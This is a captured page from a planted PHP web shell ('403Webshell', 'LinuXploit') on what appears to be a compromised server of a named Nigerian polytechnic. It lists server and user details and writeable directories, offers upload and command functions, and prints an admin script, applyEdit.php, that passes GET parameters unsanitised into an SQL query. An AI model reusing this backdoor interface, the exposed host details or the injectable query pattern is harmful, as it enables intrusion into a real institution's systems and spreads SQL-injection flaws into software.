403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.131.125
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/admin_main/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/admin_main/applyEdit.php
<?php
require_once('headMainAdmin.php');
//require('../connect.php');
//$db=db_connect();
if(isset($_GET['formNo'])){
    $formNo=$_GET['formNo'];
    $gsm=$_GET['gsm'];
$sql="select * from stddata where formNo='$formNo' and gsm='$gsm'";
$result=$db->query($sql);
$result_fetch=$result->fetch();
$num =$result->rowCount();
if ($num==1 ) {
  //  $_SESSION['transID'] =$transID= $result_fetch['transID'];
    $_SESSION['surname']=$surname = strtoupper($result_fetch['surname']);
    $_SESSION['otherNames'] =$otherNames= $result_fetch['otherNames'];
    $_SESSION['dept'] =$dept= strtoupper($result_fetch['dept']);
    $_SESSION['formType']=$formType = $result_fetch['level'];
    $_SESSION['email']=$email = $result_fetch['email'];
    $_SESSION['gsm'] = $gsm=$result_fetch['gsm'];
    $_SESSION['formNo'] =$result_fetch['formNo'];
    echo "<a href=edit_biodata.php>Edit Biodata</a><br>";
    echo "<a href=#>Edit O'Level</a><br>";
    echo "<a href=#>Edit Department</a><br>";
    echo "<a href=#>Edit Passport</a><br>";
    echo "<a href=#>Edit O'level Upload</a><br>";

}
}else {
    echo "Record Not Found";
}
require_once('footMain.php');

//echo $transID.'_'.$formType;
?>


Youez - 2016 - github.com/yon3zu
LinuXploit